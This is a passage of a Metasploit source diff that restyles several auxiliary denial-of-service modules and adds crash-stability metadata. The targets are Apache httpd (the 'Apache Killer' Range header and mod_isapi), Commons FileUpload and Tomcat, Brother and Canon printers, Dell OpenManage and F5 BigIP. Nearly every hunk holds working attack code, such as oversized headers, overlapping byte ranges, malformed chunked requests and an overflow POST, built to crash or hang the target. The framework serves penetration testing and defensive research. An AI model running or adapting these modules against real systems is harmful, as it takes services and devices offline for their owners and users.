'http://support.3com.com/infodeli/tools/switches/dna1695-0aaa17.pdf' ], ], - 'DisclosureDate' => '2004-06-24')) + 'DisclosureDate' => '2004-06-24', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - register_options( [ Opt::RPORT(80) ]) + register_options([ Opt::RPORT(80) ]) end def run - begin - connect - print_status("Sending DoS packet to #{rhost}:#{rport}") + connect + print_status("Sending DoS packet to #{rhost}:#{rport}") - sploit = "GET / HTTP/1.0\r\n" - sploit << "Referer: " + Rex::Text.rand_text_alpha(1) * 128000 - - sock.put(sploit +"\r\n\r\n") - disconnect - print_error("DoS packet unsuccessful") - rescue ::Rex::ConnectionRefused - print_error("Unable to connect to #{rhost}:#{rport}") - rescue ::Errno::ECONNRESET - print_good("DoS packet successful. #{rhost} not responding.") - end + sploit = "GET / HTTP/1.0\r\n" + sploit << 'Referer: ' + Rex::Text.rand_text_alpha(1) * 128000 + sock.put(sploit + "\r\n\r\n") + disconnect + print_error('DoS packet unsuccessful') + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{rhost}:#{rport}") + rescue ::Errno::ECONNRESET + print_good("DoS packet successful. #{rhost} not responding.") end end diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb index 332b02c44ad20..dc54208d8866f 100644 --- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -8,46 +8,53 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS', - 'Description' => %q{ - This module triggers an infinite loop in Apache Commons FileUpload 1.0 - through 1.3 via a specially crafted Content-Type header. - Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle - mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 - and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also - uses Commons FileUpload as part of the Manager application. - }, - 'Author' => - [ - 'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public. - 'ribeirux' # metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2014-0050'], - ['URL', 'https://tomcat.apache.org/security-8.html'], - ['URL', 'https://tomcat.apache.org/security-7.html'] - ], - 'DisclosureDate' => '2014-02-06' - )) + super( + update_info( + info, + 'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS', + 'Description' => %q{ + This module triggers an infinite loop in Apache Commons FileUpload 1.0 + through 1.3 via a specially crafted Content-Type header. + Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle + mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 + and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also + uses Commons FileUpload as part of the Manager application. + }, + 'Author' => [ + 'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public. + 'ribeirux' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2014-0050'], + ['URL', 'https://tomcat.apache.org/security-8.html'], + ['URL', 'https://tomcat.apache.org/security-7.html'] + ], + 'DisclosureDate' => '2014-02-06', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - register_options( - [ - Opt::RPORT(8080), - OptString.new('TARGETURI', [ true, "The request URI", '/']), - OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) - ]) + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The request URI', '/']), + OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50]) + ] + ) end def run - boundary = "0"*4092 + boundary = '0' * 4092 opts = { - 'method' => "POST", - 'uri' => normalize_uri(target_uri.to_s), - 'ctype' => "multipart/form-data; boundary=#{boundary}", - 'data' => "#{boundary}00000", + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.to_s), + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => "#{boundary}00000", 'headers' => { 'Accept' => '*/*' } @@ -63,8 +70,8 @@ def run r = c.request_cgi(opts) c.send_request(r) # Don't wait for a response - rescue ::Rex::ConnectionError => exception - print_error("Unable to connect: '#{exception.message}'") + rescue ::Rex::ConnectionError => e + print_error("Unable to connect: '#{e.message}'") return ensure disconnect(c) if c @@ -72,4 +79,3 @@ def run end end end - diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb index fc3ae59ec773d..e6dcc70684314 100644 --- a/modules/auxiliary/dos/http/apache_mod_isapi.rb +++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb @@ -8,38 +8,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache mod_isapi Dangling Pointer', - 'Description' => %q{ - This module triggers a use-after-free vulnerability in the Apache - Software Foundation mod_isapi extension for versions 2.2.14 and earlier. - In order to reach the vulnerable code, the target server must have an - ISAPI module installed and configured. + super( + update_info( + info, + 'Name' => 'Apache mod_isapi Dangling Pointer', + 'Description' => %q{ + This module triggers a use-after-free vulnerability in the Apache + Software Foundation mod_isapi extension for versions 2.2.14 and earlier. + In order to reach the vulnerable code, the target server must have an + ISAPI module installed and configured. - By making a request that terminates abnormally (either an aborted TCP - connection or an unsatisfied chunked request), mod_isapi will unload the - ISAPI extension. Later, if another request comes for that ISAPI module, - previously obtained pointers will be used resulting in an access - violation or potentially arbitrary code execution. + By making a request that terminates abnormally (either an aborted TCP + connection or an unsatisfied chunked request), mod_isapi will unload the + ISAPI extension. Later, if another request comes for that ISAPI module, + previously obtained pointers will be used resulting in an access + violation or potentially arbitrary code execution. - Although arbitrary code execution is theoretically possible, a - real-world method of invoking this consequence has not been proven. In - order to do so, one would need to find a situation where a particular - ISAPI module loads at an image base address that can be re-allocated by - a remote attacker. + Although arbitrary code execution is theoretically possible, a + real-world method of invoking this consequence has not been proven. In + order to do so, one would need to find a situation where a particular + ISAPI module loads at an image base address that can be re-allocated by + a remote attacker. - Limited success was encountered using two separate ISAPI modules. In - this scenario, a second ISAPI module was loaded into the same memory - area as the previously unloaded module. - }, - 'Author' => - [ - 'Brett Gervasoni', # original discovery + Limited success was encountered using two separate ISAPI modules. In + this scenario, a second ISAPI module was loaded into the same memory + area as the previously unloaded module. + }, + 'Author' => [ + 'Brett Gervasoni', # original discovery 'jduck' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-0425' ], [ 'OSVDB', '62674'], [ 'BID', '38494' ], @@ -48,7 +48,14 @@ def initialize(info = {}) [ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ], [ 'EDB', '11650' ] ], - 'DisclosureDate' => '2010-03-05')) + 'DisclosureDate' => '2010-03-05', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(80), @@ -57,37 +64,35 @@ def initialize(info = {}) end def run - - serverIP = datastore['RHOST'] + server_ip = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) - serverIP += ":" + datastore['RPORT'].to_s + server_ip += ':' + datastore['RPORT'].to_s end - isapiURI = datastore['ISAPI'] + isapi_uri = datastore['ISAPI'] # Create a stale pointer using the vulnerability - print_status("Causing the ISAPI dll to be loaded and unloaded...") - unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" + - "Pragma: no-cache\r\n" + - "Proxy-Connection: Keep-Alive\r\n" + - "Host: " + serverIP + "\r\n" + - "Transfer-Encoding: chunked\r\n" + - "Content-Length: 40334\r\n\r\n" + - Rex::Text.rand_text_alphanumeric(rand(128)+128) + print_status('Causing the ISAPI dll to be loaded and unloaded...') + unload_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \ + "Pragma: no-cache\r\n" \ + "Proxy-Connection: Keep-Alive\r\n" \ + 'Host: ' + server_ip + "\r\n" \ + "Transfer-Encoding: chunked\r\n" \ + "Content-Length: 40334\r\n\r\n" + + Rex::Text.rand_text_alphanumeric(128..255) connect sock.put(unload_trigger) disconnect # Now make the stale pointer get used... - print_status("Triggering the crash ...") - data = Rex::Text.rand_text_alphanumeric(rand(256)+1337) - crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" + - "Host: " + serverIP + "\r\n" + - "Content-Length: #{data.length}\r\n\r\n" + - data + print_status('Triggering the crash ...') + data = Rex::Text.rand_text_alphanumeric(1337..1592) + crash_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \ + 'Host: ' + server_ip + "\r\n" \ + "Content-Length: #{data.length}\r\n\r\n" + + data connect sock.put(crash_trigger) disconnect - end end diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 8d1e80d9ce3ed..464850bba2a6e 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -10,117 +10,125 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Range Header DoS (Apache Killer)', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Apache Range Header DoS (Apache Killer)', + 'Description' => %q{ The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x - through 2.2.19 allows remote attackers to cause a denial of service (memory and - CPU consumption) via a Range header that expresses multiple overlapping ranges, - exploit called "Apache Killer" - }, - 'Author' => - [ - 'Kingcope', #original discoverer - 'Masashi Fujiwara', #metasploit module + through 2.2.19 allows remote attackers to cause a denial of service (memory and + CPU consumption) via a Range header that expresses multiple overlapping ranges, + exploit called "Apache Killer". + }, + 'Author' => [ + 'Kingcope', # original discovery + 'Masashi Fujiwara', # metasploit module 'Markus Neis ' # check for vulnerability ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['DOS', 'Description' => 'Trigger Denial of Service against target'], - ['CHECK', 'Description' => 'Check if target is vulnerable'] + 'License' => MSF_LICENSE, + 'Actions' => [ + ['DOS', { 'Description' => 'Trigger Denial of Service against target' }], + ['CHECK', { 'Description' => 'Check if target is vulnerable' }] ], - 'DefaultAction' => 'DOS', - 'References' => - [ + 'DefaultAction' => 'DOS', + 'References' => [ [ 'BID', '49303'], [ 'CVE', '2011-3192'], [ 'EDB', '17696'], [ 'OSVDB', '74721' ], ], - 'DisclosureDate' => '2011-08-19' - )) + 'DisclosureDate' => '2011-08-19', + 'Notes' => { + 'AKA' => ['Apache Killer'], + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('URI', [ true, "The request URI", '/']), - OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) - ]) + OptString.new('URI', [ true, 'The request URI', '/']), + OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50]) + ] + ) end - def run_host(ip) - + def run_host(_ip) case action.name when 'DOS' - conduct_dos() + conduct_dos when 'CHECK' - check_for_dos() + check_for_dos end - end - def check_for_dos() + def check_for_dos uri = datastore['URI'] rhost = datastore['RHOST'] - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'HEAD', - 'headers' => { - "HOST" => rhost, - "Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10", - "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10" - } - }) + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'HEAD', + 'headers' => { + 'HOST' => rhost, + 'Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10', + 'Request-Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10' + } + }) - if (res and res.code == 206) - print_status("Response was #{res.code}") - print_status("Found Byte-Range Header DOS at #{uri}") + if res && res.code == 206 + print_status("Response was #{res.code}") + print_status("Found Byte-Range Header DOS at #{uri}") - report_note( - :host => rhost, - :port => rport, - :type => 'apache.killer', - :data => "Apache Byte-Range DOS at #{uri}" - ) - - else - print_status("#{rhost} doesn't seem to be vulnerable at #{uri}") - end + report_note( + :host => rhost, + :port => rport, + :type => 'apache.killer', + :data => { :uri => uri } + ) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + else + print_status("#{rhost} doesn't seem to be vulnerable at #{uri}") end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) end - - def conduct_dos() - uri = datastore['URI'] + def conduct_dos + datastore['URI'] rhost = datastore['RHOST'] ranges = '' + for i in (0..1299) do - ranges += ",5-" + i.to_s + ranges += ',5-' + i.to_s end + for x in 1..datastore['RLIMIT'] begin print_status("Sending DoS packet #{x} to #{rhost}:#{rport}") - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'HEAD', - 'headers' => { - "HOST" => rhost, - "Range" => "bytes=0-#{ranges}", - "Request-Range" => "bytes=0-#{ranges}"}},1) - + _res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'HEAD', + 'headers' => { + 'HOST' => rhost, + 'Range' => "bytes=0-#{ranges}", + 'Request-Range' => "bytes=0-#{ranges}" + } + }, + 1 + ) rescue ::Rex::ConnectionRefused print_error("Unable to connect to #{rhost}:#{rport}") rescue ::Errno::ECONNRESET print_good("DoS packet successful. #{rhost} not responding.") rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Couldn't connect to #{rhost}:#{rport}") - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) end end end diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index 7b4a156106f87..5a1e9894b7891 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -8,34 +8,42 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Tomcat Transfer-Encoding Information Disclosure and DoS', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Apache Tomcat Transfer-Encoding Information Disclosure and DoS', + 'Description' => %q{ Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not - properly handle an invalid Transfer-Encoding header, which allows remote attackers - to cause a denial of service (application outage) or obtain sensitive information - via a crafted header that interferes with "recycling of a buffer." - }, - 'Author' => - [ + properly handle an invalid Transfer-Encoding header, which allows remote attackers + to cause a denial of service (application outage) or obtain sensitive information + via a crafted header that interferes with "recycling of a buffer." + }, + 'Author' => [ 'Steve Jones', # original discoverer 'Hoagie ', # original public exploit 'Paulino Calderon ', # metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-2227' ], [ 'OSVDB', '66319' ], [ 'BID', '41544' ] ], - 'DisclosureDate' => '2010-07-09')) + 'DisclosureDate' => '2010-07-09', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(8000), - OptInt.new('RLIMIT', [ true, "Number of requests to send", 25]) - ]) + OptInt.new('RLIMIT', [ true, 'Number of requests to send', 25]) + ] + ) end def run @@ -45,7 +53,7 @@ def run print_status("Sending DoS packet #{x} to #{rhost}:#{rport}") sploit = "POST / HTTP/1.1\r\n" - sploit << "Host: " + rhost + "\r\n" + sploit << 'Host: ' + rhost + "\r\n" sploit << "Transfer-Encoding: buffered\r\n" sploit << "Content-Length: 65537\r\n\r\n" sploit << Rex::Text.rand_text_alpha(1) * 65537 @@ -53,14 +61,15 @@ def run sock.put(sploit + "\r\n\r\n") disconnect - print_error("DoS packet unsuccessful") + print_error('DoS packet unsuccessful') rescue ::Rex::ConnectionRefused print_error("Unable to connect to #{rhost}:#{rport}") rescue ::Errno::ECONNRESET print_good("DoS packet successful. #{rhost} not responding.") rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Couldn't connect to #{rhost}:#{rport}") - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) end end end diff --git a/modules/auxiliary/dos/http/brother_debut_dos.rb b/modules/auxiliary/dos/http/brother_debut_dos.rb index 587f0aec5438f..35a40961e870a 100644 --- a/modules/auxiliary/dos/http/brother_debut_dos.rb +++ b/modules/auxiliary/dos/http/brother_debut_dos.rb @@ -8,32 +8,40 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Brother Debut http Denial Of Service', - 'Description' => %q{ - The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial - of Service (DoS) condition via a crafted HTTP request. The printer will be - unresponsive from HTTP and printing requests for ~300 seconds. After which, the - printer will start responding again. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'z00n <0xz00n@gmail.com>', # vulnerability disclosure - 'h00die' # metasploit module - ], - 'References' => [ - [ 'CVE', '2017-16249' ], - [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730'] - ], - 'DisclosureDate' => '2017-11-02')) + super( + update_info( + info, + 'Name' => 'Brother Debut http Denial Of Service', + 'Description' => %q{ + The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial + of Service (DoS) condition via a crafted HTTP request. The printer will be + unresponsive from HTTP and printing requests for ~300 seconds. After which, the + printer will start responding again. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'z00n <0xz00n@gmail.com>', # vulnerability disclosure + 'h00die' # metasploit module + ], + 'References' => [ + [ 'CVE', '2017-16249' ], + [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730'] + ], + 'DisclosureDate' => '2017-11-02', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def is_alive? res = send_request_raw({ 'method' => 'GET', - 'uri' => '/', - },10) + 'uri' => '/' + }, 10) return !res.nil? rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE @@ -46,35 +54,35 @@ def dos data = Rex::Text.rand_text_alphanumeric(40) send_request_cgi({ 'method' => 'POST', - 'uri' => '/', - 'data' => data, #'asdasdasdasdasdasdasd', + 'uri' => '/', + 'data' => data, # 'asdasdasdasdasdasdasd', 'headers' => { # These are kept here since they were in the original exploit, however they are not required - #'Host' => 'asdasdasd', - #'User-Agent' => 'asdasdasd', - #'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - #'Accept-Language' => 'en-US,en;q=0.5', - #'Referer' => 'asdasdasdasd', - #'Connection' => 'close', - #'Upgrade-Insecure-Requests' => 1, - #'Content-Type' => 'application/x-www-form-urlencoded', - 'Content-Length' => data.length + rand(10) + 10 #42 - } - }) + # 'Host' => 'asdasdasd', + # 'User-Agent' => 'asdasdasd', + # 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + # 'Accept-Language' => 'en-US,en;q=0.5', + # 'Referer' => 'asdasdasdasd', + # 'Connection' => 'close', + # 'Upgrade-Insecure-Requests' => 1, + # 'Content-Type' => 'application/x-www-form-urlencoded', + 'Content-Length' => data.length + rand(10) + 10 # 42 + } + }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE print_error("Couldn't connect to #{peer}") end def run time = Time.new - print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.") + print_status("Sending malformed POST request at #{time.strftime('%Y-%m-%d %H:%M:%S')}.") dos # Check to see if it worked or not if is_alive? print_error("#{peer} - Server is still alive.") else - print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}") + print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime('%Y-%m-%d %H:%M:%S')}") end end end diff --git a/modules/auxiliary/dos/http/canon_wireless_printer.rb b/modules/auxiliary/dos/http/canon_wireless_printer.rb index 14f3705c2fc0d..21d9f2aafbcad 100644 --- a/modules/auxiliary/dos/http/canon_wireless_printer.rb +++ b/modules/auxiliary/dos/http/canon_wireless_printer.rb @@ -8,75 +8,80 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Canon Wireless Printer Denial Of Service', - 'Description' => %q{ - The HTTP management interface on several models of Canon Wireless printers - allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note: - if this module is successful, the device can only be recovered with a physical - power cycle. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Matt "hostess" Andreko ' - ], - 'References' => [ - [ 'CVE', '2013-4615' ], - [ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html'] - ], - 'DisclosureDate' => '2013-06-18')) + super( + update_info( + info, + 'Name' => 'Canon Wireless Printer Denial Of Service', + 'Description' => %q{ + The HTTP management interface on several models of Canon Wireless printers + allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note: + if this module is successful, the device can only be recovered with a physical + power cycle. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Matt "hostess" Andreko ' + ], + 'References' => [ + [ 'CVE', '2013-4615' ], + [ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html'] + ], + 'DisclosureDate' => '2013-06-18', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def is_alive? res = send_request_raw({ 'method' => 'GET', - 'uri' => '/', - },10) + 'uri' => '/' + }, 10) return !res.nil? end def run - begin - # The first request will set the new IP - res = send_request_cgi({ + send_request_cgi({ 'method' => 'POST', - 'uri' => '/English/pages_MacUS/cgi_lan.cgi', - 'data' => 'OK.x=61' + - '&OK.y=12' + - '&LAN_OPT1=2' + - '&LAN_TXT1=Wireless' + - '&LAN_OPT3=1' + - '&LAN_TXT21=192' + - '&LAN_TXT22=168' + - '&LAN_TXT23=1' + - '&LAN_TXT24=114">' + - '&LAN_TXT31=255' + - '&LAN_TXT32=255' + - '&LAN_TXT33=255' + - '&LAN_TXT34=0' + - '&LAN_TXT41=192' + - '&LAN_TXT42=168' + - '&LAN_TXT43=1' + - '&LAN_TXT44=1' + - '&LAN_OPT2=4' + - '&LAN_OPT4=1' + + 'uri' => '/English/pages_MacUS/cgi_lan.cgi', + 'data' => 'OK.x=61' \ + '&OK.y=12' \ + '&LAN_OPT1=2' \ + '&LAN_TXT1=Wireless' \ + '&LAN_OPT3=1' \ + '&LAN_TXT21=192' \ + '&LAN_TXT22=168' \ + '&LAN_TXT23=1' \ + '&LAN_TXT24=114">' \ + '&LAN_TXT31=255' \ + '&LAN_TXT32=255' \ + '&LAN_TXT33=255' \ + '&LAN_TXT34=0' \ + '&LAN_TXT41=192' \ + '&LAN_TXT42=168' \ + '&LAN_TXT43=1' \ + '&LAN_TXT44=1' \ + '&LAN_OPT2=4' \ + '&LAN_OPT4=1' \ '&LAN_HID1=1' }) - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - print_error("Couldn't connect to #{rhost}:#{rport}") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + print_error("Couldn't connect to #{rhost}:#{rport}") return end # The second request will load the network options page, which seems to trigger the DoS send_request_cgi({ 'method' => 'GET', - 'uri' => '/English/pages_MacUS/lan_set_content.html' - },5) #default timeout, we don't care about the response + 'uri' => '/English/pages_MacUS/lan_set_content.html' + }, 5) # default timeout, we don't care about the response # Check to see if it worked or not if is_alive? @@ -84,6 +89,5 @@ def run else print_good("#{rhost}:#{rport} - Connection Refused: Success!") end - end end diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb index 89710617f5138..94ca31051b9a5 100644 --- a/modules/auxiliary/dos/http/dell_openmanage_post.rb +++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb @@ -8,45 +8,53 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Dell OpenManage POST Request Heap Overflow (win32)', - 'Description' => %q{ - This module exploits a heap overflow in the Dell OpenManage - Web Server (omws32.exe), versions 3.2-3.7.1. The vulnerability - exists due to a boundary error within the handling of POST requests, - where the application input is set to an overly long file name. - This module will crash the web server, however it is likely exploitable - under certain conditions. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Dell OpenManage POST Request Heap Overflow (win32)', + 'Description' => %q{ + This module exploits a heap overflow in the Dell OpenManage + Web Server (omws32.exe), versions 3.2-3.7.1. The vulnerability + exists due to a boundary error within the handling of POST requests, + where the application input is set to an overly long file name. + This module will crash the web server, however it is likely exploitable + under certain conditions. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0650.html' ], [ 'BID', '9750' ], [ 'OSVDB', '4077' ], [ 'CVE', '2004-0331' ], ], - 'DisclosureDate' => '2004-02-26')) + 'DisclosureDate' => '2004-02-26', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(1311), OptBool.new('SSL', [true, 'Use SSL', true]), - ], - self.class) + ] + ) end def run connect - foo = "user=user&password=password&domain=domain&application=" + Rex::Text.pattern_create(2000) + foo = 'user=user&password=password&domain=domain&application=' + Rex::Text.pattern_create(2000) sploit = "POST /servlet/LoginServlet?flag=true HTTP/1.0\r\n" sploit << "Content-Length: #{foo.length}\r\n\r\n" sploit << foo - sock.put(sploit +"\r\n\r\n") + sock.put(sploit + "\r\n\r\n") disconnect end diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index e7dbeb1a59b5a..123dce99e45be 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -8,42 +8,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service', - 'Description' => %q{ - This module exploits a resource exhaustion denial of service in F5 BigIP devices. An - unauthenticated attacker can establish multiple connections with BigIP Access Policy - Manager (APM) and exhaust all available sessions defined in customer license. In the - first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP - system creates a session, marks it as pending and then redirects the client to an access - policy URI. Since BigIP allocates a new session after the first unauthenticated request, - and deletes the session only if an access policy timeout expires, the attacker can exhaust - all available sessions by repeatedly sending the initial HTTP request and leaving the - sessions as pending. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service', + 'Description' => %q{ + This module exploits a resource exhaustion denial of service in F5 BigIP devices. An + unauthenticated attacker can establish multiple connections with BigIP Access Policy + Manager (APM) and exhaust all available sessions defined in customer license. In the + first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP + system creates a session, marks it as pending and then redirects the client to an access + policy URI. Since BigIP allocates a new session after the first unauthenticated request, + and deletes the session only if an access policy timeout expires, the attacker can exhaust + all available sessions by repeatedly sending the initial HTTP request and leaving the + sessions as pending. + }, + 'Author' => [ 'Denis Kolegov ', 'Oleg Broslavsky ', 'Nikita Oleksov ' ], - 'References' => - [ + 'References' => [ ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] ], - 'License' => MSF_LICENSE, - 'DefaultOptions' => - { + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] } - )) + ) + ) register_options( [ - OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), - OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false]) - ]) + OptInt.new('RLIMIT', [true, 'The number of requests to send', 10_000]), + OptBool.new('FORCE', [true, "Proceed with attack even if a BigIP virtual server isn't detected", false]) + ] + ) end def run @@ -53,46 +59,52 @@ def run res = send_request_cgi('method' => 'GET', 'uri' => '/') unless res - print_error("No answer from the BigIP server") + print_error('No answer from the BigIP server') return end # Simple test based on HTTP Server header to detect BigIP virtual server server = res.headers['Server'] - unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack - print_error("BigIP virtual server was not detected. Please check options") + unless server 